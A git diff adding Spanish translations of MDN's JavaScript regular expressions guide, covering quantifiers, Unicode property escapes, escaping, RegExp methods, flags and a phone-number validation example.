+    <p>Encuentra 1 o más veces el elemento "x" anterior Equivalente a <code>{1,}</code>. Por ejemplo, <code>/a+/</code> encuentra la "a" en "candy" y todas las "a"es en "caaaaaaandy".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>?</code></td>
+   <td>
+    <p>Halla 0 o 1 vez el elemento "x" anterior. Por ejemplo, <code>/e?Le?/</code> reconoce a "el" en "ángel" y a "le" en "angle".</p>
+
+    <p>Si se usa inmediatamente después de cualquiera de los cuantificadores <code>*</code>, <code>+</code>, <code>?</code>o <code>{}</code>, hace que el cuantificador no codicioso (que reconoce el número mínimo de veces), a diferencia del predeterminado, que es codicioso (que reconoce el número máximo de veces).</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>{<em>n</em>}</code></td>
+   <td>
+    <p>Donde "n" es un número entero positivo, concuerda exactamente con "n" apariciones del elemento "x" anterior. Por ejemplo, <code>/a{2}/</code> no reconoce la "a" en "candy", pero reconoce todas las "a"s en "caandy" y las dos primeras "a"s en "caaandy ".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>{<em>n</em>,}</code></td>
+   <td>
+    <p>Donde "n" es un número entero positivo, concuerda con al menos "n" apariciones del elemento "x". Por ejemplo, <code>/a{2,}/</code> no reconoce la "a" en "candy", pero reconoce todas las "a" en "caandy" y en "caaaaaaandy".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><em>x</em>{<em>n</em>,<em>m</em>}</code></td>
+   <td>
+    <p>Donde "n" es 0 o un número entero positivo, "m" es un número entero positivo y <code><em>m</em> &gt; <em>n</em></code>, reconoce por lo menos "n" y como máximo "m" apariciones del elemento "x" anterior. Por ejemplo, <code>/a{1,3}/</code> no reconoce nada en "cndy", la "a" en "caramelo", las dos "a" en "caandy" y las tres primeras "a" está en "caaaaaaandy". Observa que al comparar "caaaaaaandy", las "aaa" encontradas, aunque la cadena original tenía más "a" s.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code><em>x</em>*?</code><br>
+     <code><em>x</em>+?</code><br>
+     <code><em>x</em>??</code><br>
+     <code><em>x</em>{n}?</code><br>
+     <code><em>x</em>{n,}?</code><br>
+     <code><em>x</em>{n,m}?</code></p>
+   </td>
+   <td>
+    <p>De manera predeterminada, los cuantificadores como <code>*</code> y <code>+</code> son "codiciosos", lo cual significa que intentan hacer coincidir la mayor cantidad de cadena posible. El carácter <code>?</code> después del cuantificador hace que este sea "no codicioso": lo cual significa que se detendrá tan pronto como encuentre una concordancia. Por ejemplo, dada una cadena "algo como &lt;foo&gt; &lt;bar&gt; new &lt;/bar&gt; &lt;/foo&gt;":</p>
+
+    <ul>
+     <li><code>/&lt;.*&gt;/</code> reconocerá "&lt;foo&gt; &lt;bar&gt; nuevo &lt;/bar&gt; &lt;/foo&gt;"</li>
+     <li><code>/&lt;.*?&gt;/</code> encajará "&lt;foo&gt;"</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Escapa_la_propiedad_Unicode"><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes">Escapa la propiedad Unicode</a></h2>
+
+<div class="hidden">Si deseas contribuir a este documento, edita también <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes">el artículo original</a></div>
+
+<pre class="brush: js notranslate">// Valores no binarios
+\p{<em>UnicodePropertyValue</em>}
+\p{<em>UnicodePropertyName</em>=<em>UnicodePropertyValue</em>}
+
+// Valores binarios y no binarios
+\p{<em>UnicodeBinaryPropertyName</em>}
+
+// Negación: \P is negado \p
+\P{<em>UnicodePropertyValue</em>}
+\P{<em>UnicodeBinaryPropertyName</em>}
+</pre>
+
+<dl>
+ <dt>UnicodeBinaryPropertyName</dt>
+ <dd>El nombre de una <a href="https://tc39.es/ecma262/#table-binary-unicode-properties">propiedad binaria</a>. Por ejemplo: <code><a href="https://unicode.org/reports/tr18/#General_Category_Property">ASCII</a></code>, <code><a href="https://unicode.org/reports/tr44/#Alphabetic">Alpha</a></code>, <code>Math</code>, <code><a href="https://unicode.org/reports/tr44/#Diacritic">Diacrítica</a></code>, <code><a href="https://unicode.org/reports/tr51/#Emoji_Properties">Emoji</a></code>, <code><a href="https://unicode.org/reports/tr44/#Hex_Digit">Hex_Digit</a></code>, <code>Math</code>, <code><a href="https://unicode.org/reports/tr44/#White_Space">Espacio_blanco</a></code>, etc. Consulta <a href="https://www.unicode.org/Public/UCD/latest/ucd/PropList.txt">Unicode Data PropList.txt</a> para obtener más información.</dd>
+ <dt>UnicodePropertyName</dt>
+</dl>
+
+<dl>
+ <dd>El nombre de una propiedad <a href="https://tc39.es/ecma262/#table-nonbinary-unicode-properties">no binaria</a>:</dd>
+</dl>
+
+<ul>
+ <li><a href="https://unicode.org/reports/tr18/#General_Category_Property">General_Category</a> (<code>gc</code>)</li>
+ <li><a href="https://unicode.org/reports/tr24/#Script">Script</a> (<code>sc</code>)</li>
+ <li><a href="https://unicode.org/reports/tr24/#Script_Extensions">Script_Extensions</a> (<code>scx</code>)</li>
+</ul>
+
+<p>Consulta también <a href="https://www.unicode.org/Public/UCD/latest/ucd/PropertyValueAliases.txt">PropertyValueAliases.txt</a></p>
+
+<dl>
+ <dt>UnicodePropertyValue</dt>
+ <dd>Uno de los fragmentos enumerados en la sección Valores, más adelante. Muchos valores tienen alias o abreviaturas (por ejemplo, el valor <code>Decimal_Number</code> para la propiedad <code>General_Category</code> se puede escribir cómo <code>Nd</code>, <code>digit</code>, o <code>Decimal_number</code>). Para la mayoría de los valores, la parte <em><code>UnicodePropertyName</code> </em> y el signo igual se pueden omitir. Si se especifica un <em><code>UnicodePropertyName</code></em>, el valor debe corresponder al tipo de propiedad proporcionado.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puesto que hay muchas propiedades y valores disponibles, no las describiremos exhaustivamente aquí, sino que proporcionaremos varios ejemplos.</p>
+</div>
diff --git a/files/es/web/javascript/guide/regular_expressions/index.html b/files/es/web/javascript/guide/regular_expressions/index.html
new file mode 100644
index 0000000000..150d86b5f6
--- /dev/null
+++ b/files/es/web/javascript/guide/regular_expressions/index.html
@@ -0,0 +1,451 @@
+---
+title: Expresiones Regulares
+slug: Web/JavaScript/Guide/Regular_Expressions
+tags:
+  - Expresiones Regulares
+  - Guía
+  - Intermedio
+  - JavaScript
+  - Referencia
+  - RegExp
+  - regex
+translation_of: Web/JavaScript/Guide/Regular_Expressions
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}</div>
+
+<p class="summary">Las expresiones regulares son patrones que se utilizan para hacer coincidir combinaciones de caracteres en cadenas. En JavaScript, las expresiones regulares también son objetos. Estos patrones se utilizan con los métodos {{jsxref("RegExp.exec", "exec()")}} y {{jsxref("RegExp.test", "test()")}} de {{jsxref("RegExp")}}, y con {{jsxref("String.match", "match()")}}, {{jsxref("String.matchAll", "matchAll()")}}, {{jsxref("String.replace", "replace()")}}, {{jsxref("String.replaceAll", "replaceAll()")}}, {{jsxref("String.search", "search()")}} y {{jsxref("String.split", "split()")}} métodos de {{jsxref("String")}}. Este capítulo describe las expresiones regulares de JavaScript.</p>
+
+<h2 id="Crear_una_expresión_regular">Crear una expresión regular</h2>
+
+<p>Construyes una expresión regular en una de estas dos formas:</p>
+
+<ul>
+ <li>
+  <p>Usando una expresión regular literal, que consiste en un patrón encerrado entre barras, como sigue:</p>
+
+  <pre class="brush: js notranslate">let re = /ab+c/;
+</pre>
+
+  <p>Las expresiones regulares literales proporcionan la compilación de la expresión regular cuando se carga el script. Si la expresión regular permanece constante, su uso puede mejorar el rendimiento.</p>
+ </li>
+ <li>
+  <p>O llamando a la función constructora del objeto {{jsxref("RegExp")}}, de la siguiente manera:</p>
+
+  <pre class="brush: js notranslate">let re = new RegExp('ab+c');
+</pre>
+
+  <p>El uso de la función constructora proporciona una compilación en tiempo de ejecución de la expresión regular. Usa la función constructora cuando sepas que el patrón de la expresión regular cambiará, o no conoces el patrón y lo obtienes de otra fuente, como la entrada del usuario.</p>
+ </li>
+</ul>
+
+<h2 id="Escribir_un_patrón_de_expresión_regular">Escribir un patrón de expresión regular</h2>
+
+<p>Un patrón de expresión regular se compone de caracteres simples, como <code>/abc/</code>, o una combinación de caracteres simples y especiales, como <code>/ab*c/</code> o <code>/Capítulo (\d)\.\d*/</code>. El último ejemplo incluye paréntesis, que se utilizan como dispositivos de memoria. La coincidencia realizada con esta parte del patrón se recuerda para su uso posterior, como se describe en <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges#Using_groups">Uso de grupos</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Si ya estás familiarizado con las formas de una expresión regular, también puedes leer <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Cheatsheet">la hoja de referencia</a> para una búsqueda rápida de un patrón/construcción específica.</p>
+</div>
+
+<h3 id="Usar_patrones_simples">Usar patrones simples</h3>
+
+<p>Los patrones simples se construyen con caracteres para los que deseas encontrar una coincidencia directa. Por ejemplo, el patrón <code>/abc/</code> coincide con combinaciones de caracteres en cadenas solo cuando ocurre la secuencia exacta <code>"abc"</code> (todos los caracteres juntos y en ese orden). Tal coincidencia tendría éxito en las cadenas <code>"Hola, ¿conoces tu abc?"</code> y <code>"Los últimos diseños de aviones evolucionaron a partir de slabcraft"</code>. En ambos casos, la coincidencia es con la subcadena <code>"abc"</code>. No hay ninguna coincidencia en la cadena <code>"Grab crab"</code> porque aunque contiene la subcadena <code>"ab c"</code>, no contiene la subcadena <code>"abc"</code> exacta.</p>
+
+<h3 id="Usar_caracteres_especiales">Usar caracteres especiales</h3>
+
+<p>Cuando la búsqueda de una coincidencia requiere algo más que una coincidencia exacta, como por ejemplo buscar una o más 'b', o encontrar espacios en blanco, puedes incluir caracteres especiales en el patrón. Por ejemplo, para hacer coincidir <em>una sola <code>"a"</code> seguida de cero o más <code>"b"</code>s seguidas de <code>"c"</code></em>, usarías el patrón <code>/ab*c/</code>: el <code>*</code> después de <code>"b"</code> significa "0 o más apariciones del elemento anterior". En la cadena <code>"cbbabbbbcdebc"</code>, este patrón coincidirá con la subcadena <code>"abbbbc"</code>.</p>
+
+<p>Las siguientes páginas proporcionan listas de los diferentes caracteres especiales que encajan en cada categoría, junto con descripciones y ejemplos.</p>
+
+<dl>
+ <dt><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Assertions">Aserciones</a></dt>
+ <dd>Las aserciones incluyen límites, que indican el comienzo y el final de líneas y palabras, y otros patrones que indican de alguna manera que el reconocimiento es posible (incluidas las expresiones anticipadas, inversas y condicionales).</dd>
+ <dt><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes">Clases de caracteres</a></dt>
+ <dd>Distingue diferentes tipos de caracteres. Por ejemplo, distinguir entre letras y dígitos.</dd>
+ <dt><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">Grupos y rangos</a></dt>
+ <dd>Indica grupos y rangos de caracteres de expresión.</dd>
+ <dt><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Quantifiers">Cuantificadores</a></dt>
+ <dd>Indica el número de caracteres o expresiones que deben coincidir.</dd>
+ <dt><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes">Escapes de propiedades Unicode</a></dt>
+ <dd>Distinguir según las propiedades de los caracteres Unicode, por ejemplo, letras mayúsculas y minúsculas, símbolos matemáticos y de puntuación.</dd>
+</dl>
+
+<p>Si deseas ver todos los caracteres especiales que se pueden usar en expresiones regulares en una sola tabla, consulta lo siguiente:</p>
+
+<table class="standard-table">
+ <caption>Caracteres especiales en expresiones regulares.</caption>
+ <thead>
+  <tr>
+   <th scope="col">Caracteres/construcciones</th>
+   <th scope="col">Artículo correspondiente</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\</code>, <code>.</code>, <code>\cX</code>, <code>\d</code>, <code>\D</code>, <code>\f</code>, <code>\n</code>, <code>\r</code>, <code>\s</code>, <code>\S</code>, <code>\t</code>, <code>\v</code>, <code>\w</code>, <code>\W</code>, <code>\0</code>, <code>\xhh</code>, <code>\uhhhh</code>, <code>\uhhhhh</code>, <code>[\b]</code></td>
+   <td>
+    <p><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes">Clases de caracteres</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>^</code>, <code>$</code>, <code>x(?=y)</code>, <code>x(?!y)</code>, <code>(?&lt;=y)x</code>, <code>(?&lt;!y)x</code>, <code>\b</code>, <code>\B</code></td>
+   <td>
+    <p><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Assertions">Aserciones</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>(x)</code>, <code>(?:x)</code>, <code>(?&lt;Name&gt;x)</code>, <code>x|y</code>, <code>[xyz]</code>, <code>[^xyz]</code>, <code>\<em>Number</em></code></td>
+   <td>
+    <p><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">Grupos y rangos</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>*</code>, <code>+</code>, <code>?</code>, <code>x{<em>n</em>}</code>, <code>x{<em>n</em>,}</code>, <code>x{<em>n</em>,<em>m</em>}</code></td>
+   <td>
+    <p><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Quantifiers">Cuantificadores</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\p{<em>UnicodeProperty</em>}</code>, <code>\P{<em>UnicodeProperty</em>}</code></td>
+   <td><a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes">Escapes de propiedades Unicode</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Cheatsheet">También está disponible una hoja de referencia más grande</a> (solo agregando partes de esos artículos individuales).</p>
+</div>
+
+<h3 id="Escapando">Escapando</h3>
+
+<p>Si necesitas usar literalmente cualquiera de los caracteres especiales (en realidad buscando un <code>"*"</code>, por ejemplo), lo debes escapar colocando una barra invertida delante de él. Por ejemplo, para buscar <code>"a"</code> seguido de <code>"*"</code> seguido de <code>"b"</code>, usarías <code>/a\*b/</code> — la barra invertida "escapa" de <code>"*"</code>, volviéndola literal en lugar de especial.</p>
+
+<p>De manera similar, si estás escribiendo un literal de expresión regular y necesitas buscar una barra inclinada ("/"), la debes escapar (de lo contrario, esta termina el patrón). Por ejemplo, para buscar la cadena "/ejemplo/" seguida de uno o más caracteres alfabéticos, usarías <code>/\/ejemplo\/[a-z]+/i</code>: las barras invertidas antes de cada barra, las hace literales.</p>
+
+<p>Para hacer coincidir una barra invertida literal, debes escapar de la barra invertida. Por ejemplo, para encontrar la cadena "C:\" donde "C" puede ser cualquier letra, usarías <code>/[A-Z]:\\/</code> — la primera barra invertida escapa a la que sigue, por lo que la expresión busca una sola barra invertida literal.</p>
+
+<p>Si usas el constructor <code>RegExp</code> con un literal de cadena, recuerda que la barra invertida es un escape en los literales de cadena, por lo que para usarlo en la expresión regular, debes escapar en el nivel del literal de cadena. <code>/a\*b/</code> y <code>new RegExp("a\\*b")</code> crean la misma expresión, que busca "a" seguida de un "*" literal seguido de "b".</p>
+
+<p>Si las cadenas de escape aún no forman parte de tu patrón, puedes agregarlas usando {{jsxref('String.replace')}}:</p>
+
+<pre class="brush: js notranslate">function escapeRegExp(string) {
+  return string.replace(/[.*+\-?^${}()|[\]\\]/g,'\\$&amp;'); // $&amp; significa toda la cadena coincidente
+}
+</pre>
+
+<p>La "g" después de la expresión regular es una opción o indicador que realiza una búsqueda global, buscando en toda la cadena y devolviendo todas las coincidencias. Se explica en detalle a continuación en <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions#Advanced_searching_with_flags">Búsqueda avanzada con indicadores</a>.</p>
+
+<p><em>¿Por qué no está integrada en JavaScript?</em> Existe una propuesta para agregar esta función a RegExp, pero fue <a href="https://github.com/benjamingr/RegExp.escape/issues/37">rechazada por TC39.</a></p>
+
+<h3 id="Usando_paréntesis">Usando paréntesis</h3>
+
+<p>Los paréntesis alrededor de cualquier parte del patrón de expresión regular hacen que se recuerde esa parte de la subcadena coincidente. Una vez reconocida, la subcadena se puede recuperar para otro uso. Consulta <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges#Using_groups">Grupos y rangos</a> para obtener más detalles.</p>
+
+<h2 id="Usar_expresiones_regulares_en_JavaScript">Usar expresiones regulares en JavaScript</h2>
+
+<p>Las expresiones regulares se utilizan con los métodos <code>RegExp</code> <code>test()</code> y <code>exec()</code> y con los métodos de <code>String</code>, <code>match()</code>, <code>replace()</code>, <code>search()</code> y <code>split()</code>. Estos métodos se explican en detalle en la <a href="/es/docs/Web/JavaScript/Reference" title="/es/docs/JavaScript/Reference">referencia de JavaScript</a>.</p>
+
+<table class="standard-table">
+ <caption>Métodos que usan expresiones regulares</caption>
+ <thead>
+  <tr>
+   <th scope="col">Método</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("RegExp.exec", "exec()")}}</td>
+   <td>Ejecuta una búsqueda por una coincidencia en una cadena. Devuelve un arreglo de información o <code>null</code> en una discrepancia.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.test", "test()")}}</td>
+   <td>Prueba una coincidencia en una cadena. Devuelve <code>true</code> o <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.match", "match()")}}</td>
+   <td>Devuelve un arreglo que contiene todas las coincidencias, incluidos los grupos de captura, o <code>null</code> si no se encuentra ninguna coincidencia.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.matchAll", "matchAll()")}}</td>
+   <td>Devuelve un iterador que contiene todas las coincidencias, incluidos los grupos de captura.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.search", "search()")}}</td>
+   <td>Prueba una coincidencia en una cadena. Devuelve el índice de la coincidencia, o <code>-1</code> si la búsqueda falla.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.replace", "replace()")}}</td>
+   <td>Ejecuta una búsqueda por una coincidencia en una cadena y reemplaza la subcadena coincidente con una subcadena de reemplazo.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.replaceAll", "replaceAll()")}}</td>
+   <td>Ejecuta una búsqueda de todas las coincidencias en una cadena y reemplaza las subcadenas coincidentes con una subcadena de reemplazo.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.split", "split()")}}</td>
+   <td>Utiliza una expresión regular o una cadena fija para dividir una cadena en un arreglo de subcadenas.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Cuando desees saber si un patrón se encuentra en una cadena, utiliza los métodos <code>test()</code> o <code>search()</code>; para obtener más información (pero una ejecución más lenta) utiliza los métodos <code>exec()</code> o <code>match()</code>. Si usas <code>exec()</code> o <code>match()</code> y si la búsqueda tiene éxito, estos métodos devuelven un arreglo y actualizan las propiedades del objeto expresión regular asociado y también del objeto de expresión regular predefinido, el objeto <code>RegExp</code>. Si la búsqueda falla, el método <code>exec()</code> devuelve <code>null</code> (que coacciona a <code>false</code>).</p>
+
+<p>En el siguiente ejemplo, el script utiliza el método <code>exec()</code> para encontrar una coincidencia en una cadena.</p>
+
+<pre class="brush: js notranslate">var myRe = /d(b+)d/g;
+var myArray = myRe.exec('cdbbdbsbz');
+</pre>
+
+<p>Si no necesitas acceder a las propiedades de la expresión regular, una forma alternativa de crear <code>myArray</code> es con este script:</p>
+
+<pre class="brush: js notranslate">var myArray = /d(b+)d/g.exec('cdbbdbsbz');
+    // similar a "cdbbdbsbz" .match(/d(b+)d/g); sin embargo,
+    // "cdbbdbsbz" .match (/d(b+)d/g) genera Array ["dbbd"], mientras
+    // /d(b+)d/g.exec('cdbbdbsbz ') produce Array ['dbbd', 'bb', index: 1, input: 'cdbbdbsbz' ].
+</pre>
+
+<p>(Consulta <a href="#g-diferentes-comportamientos">diferentes comportamientos</a> para obtener más información sobre los diferentes comportamientos).</p>
+
+<p>Si deseas construir la expresión regular a partir de una cadena, otra alternativa más es este script:</p>
+
+<pre class="brush: js notranslate">var myRe = new RegExp('d(b+)d', 'g');
+var myArray = myRe.exec('cdbbdbsbz');
+</pre>
+
+<p>Con estos scripts, la búsqueda se realiza correctamente, devuelve el arreglo y actualiza las propiedades que se muestran en la siguiente tabla.</p>
+
+<table class="standard-table">
+ <caption>Resultado de la ejecución de expresiones regulares.</caption>
+ <thead>
+  <tr>
+   <th scope="col">Objeto</th>
+   <th scope="col">Propiedad o índice</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">En este ejemplo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td rowspan="4"><code>myArray</code></td>
+   <td></td>
+   <td>La cadena coincidente y todas las subcadenas recordadas.</td>
+   <td><code>['dbbd', 'bb', index: 1, input: 'cdbbdbsbz']</code></td>
+  </tr>
+  <tr>
+   <td><code>índice</code></td>
+   <td>El índice basado en 0 de la coincidencia en la cadena de entrada.</td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td><code>entrada</code></td>
+   <td>La cadena original.</td>
+   <td><code>'cdbbdbsbz'</code></td>
+  </tr>
+  <tr>
+   <td><code>[0]</code></td>
+   <td>Los últimos caracteres encontrados.</td>
+   <td><code>'dbbd'</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2"><code>myRe</code></td>
+   <td><code>lastIndex</code></td>
+   <td>El índice en el que comenzará la siguiente búsqueda. (Esta propiedad se establece solo si la expresión regular usa la opción <code>g</code>, descrita en <a href="#Búsqueda_avanzada_con_banderas">Búsqueda avanzada con banderas</a>).</td>
+   <td><code>5</code></td>
+  </tr>
+  <tr>
+   <td><code>fuente</code></td>
+   <td>El texto del patrón. Actualizado en el momento en que se crea la expresión regular, no se ejecuta.</td>
+   <td><code>'d(b+)d'</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Como se muestra en la segunda forma de este ejemplo, puedes usar una expresión regular creada con un iniciador de objeto sin asignarla a una variable. Sin embargo, si lo hace, cada aparición es una nueva expresión regular. Por este motivo, si utilizas esta forma sin asignarla a una variable, no podrás acceder posteriormente a las propiedades de esa expresión regular. Por ejemplo, supongamos que tienes este script:</p>
+
+<pre class="brush: js notranslate">var myRe = /d(b+)d/g;
+var myArray = myRe.exec('cdbbdbsbz');
+console.log('El valor de lastIndex es ' + myRe.lastIndex);
+
+// "El valor de lastIndex es 5"
+</pre>
+
+<p>Sin embargo, si tienes este script:</p>
+
+<pre class="brush: js notranslate">var myArray = /d(b+)d/g.exec('cdbbdbsbz');
+console.log('El valor de lastIndex es ' + /d(b+)d/g.lastIndex);
+
+// "El valor de lastIndex es 0"
+</pre>
+
+<p>Las apariciones de <code>/d(b+)d/g</code> en las dos declaraciones son objetos de expresión regular diferentes y, por lo tanto, tienen valores diferentes para su propiedad <code>lastIndex</code>. Si necesitas acceder a las propiedades de una expresión regular creada con un iniciador de objeto, primero debes asignarla a una variable.</p>
+
+<h3 id="Búsqueda_avanzada_con_banderas"><a name="Advanced_searching_with_flags">Búsqueda avanzada con banderas</a></h3>
+
+<p>Las expresiones regulares tienen seis indicadores opcionales que permiten funciones como la búsqueda global y que no distinga entre mayúsculas y minúsculas. Estos indicadores se pueden usar por separado o juntos en cualquier orden y se incluyen como parte de la expresión regular.</p>
+
+<table class="standard-table">
+ <caption>Indicadores de expresión regular</caption>
+ <thead>
+  <tr>
+   <th scope="col">Bandera</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Propiedad correspondiente</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>g</code></td>
+   <td>Búsqueda global.</td>
+   <td><code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/RegExp/global">RegExp.prototype.global</a></code></td>
+  </tr>
+  <tr>
+   <td><code>i</code></td>
+   <td>Búsqueda que no distingue entre mayúsculas y minúsculas.</td>
+   <td><code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase">RegExp.prototype.ignoreCase</a></code></td>
+  </tr>
+  <tr>
+   <td><code>m</code></td>
+   <td>Búsqueda multilínea.</td>
+   <td><code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/RegExp/multiline">RegExp.prototype.multiline</a></code></td>
+  </tr>
+  <tr>
+   <td><code>s</code></td>
+   <td>Permite que el <code>.</code> coincida con caracteres de nueva línea.</td>
+   <td><code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/RegExp/dotAll">RegExp.prototype.dotAll</a></code></td>
+  </tr>
+  <tr>
+   <td><code>u</code></td>
+   <td>"unicode"; tratar un patrón como una secuencia de puntos de código Unicode.</td>
+   <td><code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/RegExp/unicode">RegExp.prototype.unicode</a></code></td>
+  </tr>
+  <tr>
+   <td><code>y</code></td>
+   <td>Realiza una búsqueda "pegajosa" que coincida a partir de la posición actual en la cadena de destino. Consulta {{jsxref("RegExp.sticky", "sticky")}}.</td>
+   <td><code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/RegExp/sticky">RegExp.prototype.sticky</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Para incluir una bandera con la expresión regular, usa esta sintaxis:</p>
+
+<pre class="brush: js notranslate">var re = /patrón/banderas;
+</pre>
+
+<p>o</p>
+
+<pre class="brush: js notranslate">var re = new RegExp('patrón', 'banderas');
+</pre>
+
+<p>Ten en cuenta que las banderas son parte integral de una expresión regular. No se pueden agregar ni eliminar más tarde.</p>
+
+<p>Por ejemplo, <code>re = /\w+\s/g</code> crea una expresión regular que busca uno o más caracteres seguidos de un espacio y busca esta combinación en toda la cadena.</p>
+
+<pre class="brush: js notranslate">var re = /\w+\s/g;
+var str = 'fee fi fo fum';
+var myArray = str.match(re);
+console.log(myArray);
+
+// ["fee ", "fi ", "fo "]
+</pre>
+
+<p>Podrías reemplazar la línea:</p>
+
+<pre class="brush: js notranslate">var re = /\w+\s/g;
+</pre>
+
+<p>con:</p>
+
+<pre class="brush: js notranslate">var re = new RegExp('\\w+\\s', 'g');
+</pre>
+
+<p>y obtener el mismo resultado.</p>
+
+<p id="g-different-behaviors">El comportamiento asociado con el indicador <code>g</code> es diferente cuando se usa el método <code>.exec()</code>. Los roles de "clase" y "argumento" se invierten: En el caso de <code>.match()</code>, la clase cadena (o tipo de datos) posee el método y la expresión regular es solo un argumento, mientras que en el caso de <code>.exec()</code>, es la expresión regular la que posee el método, siendo la cadena el argumento. Compara esto <em><code>str.match(re)</code></em> con <em><code>re.exec(str)</code></em>. El indicador <code>g</code> se usa con el método <strong><code>.exec()</code></strong> para obtener una progresión iterativa.</p>
+
+<pre class="brush: js notranslate">var xArray; while(xArray = re.exec(str)) console.log(xArray);
+// produce:
+// ["fee ", index: 0, input: "fee fi fo fum"]
+// ["fi ", index: 4, input: "fee fi fo fum"]
+// ["fo ", index: 7, input: "fee fi fo fum"]</pre>
+
+<p>La bandera <code>m</code> se utiliza para especificar que una cadena de entrada de varias líneas se debe tratar como varias líneas. Si se usa el indicador <code>m</code>, <code>^</code> y <code>$</code> coinciden al principio o al final de cualquier línea dentro de la cadena de entrada en lugar del inicio o el final de toda la cadena.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: También hay varios ejemplos disponibles en:</p>
+
+<ul>
+ <li>Las páginas de referencia para {{jsxref("RegExp.exec", "exec()")}}, {{jsxref("RegExp.test", "test()")}}, {{jsxref("String.match", "match()")}}, {{jsxref("String.matchAll", "matchAll()")}}, {{jsxref("String.search", "search()")}}, {{jsxref("String.replace", "replace()")}}, {{jsxref("String.split", "split()")}}</li>
+ <li>Artículos de esta guía: <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes">clases de caracteres</a>, <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Assertions">aserciones</a>, <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">grupos y rangos</a>, <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Quantifiers">cuantificadores</a>, <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes">escapes de propiedades Unicode</a></li>
+</ul>
+</div>
+
+<h3 id="Usar_caracteres_especiales_para_verificar_la_entrada">Usar caracteres especiales para verificar la entrada</h3>
+
+<p>En el siguiente ejemplo, se espera que el usuario ingrese un número de teléfono. Cuando el usuario presiona el botón "Comprobar", el script verifica la validez del número. Si el número es válido (encuentra la secuencia de caracteres especificada por la expresión regular), la secuencia de comandos muestra un mensaje agradeciendo al usuario y confirmando el número. Si el número no es válido, el guión informa al usuario que el número de teléfono no es válido.</p>
+
+<p>Entre paréntesis que no capturan <code>(?:</code>, la expresión regular busca tres caracteres numéricos <code>\d{3}</code> O <code>|</code> un paréntesis izquierdo <code>\(</code> seguido de tres dígitos <code>\d{3}</code>, seguido de un paréntesis cerrado <code>\)</code>, (finaliza el paréntesis no capturador <code>)</code>), seguido de un guión, una barra diagonal o un punto decimal y cuando lo encuentre, recuerde el carácter <code>([-\/\.])</code>, seguido de tres dígitos <code>\d{3}</code>, seguido de la coincidencia recordada de un guión, una barra diagonal o un punto decimal <code>\1</code>, seguida de cuatro dígitos <code>\d{4}</code>.</p>
+
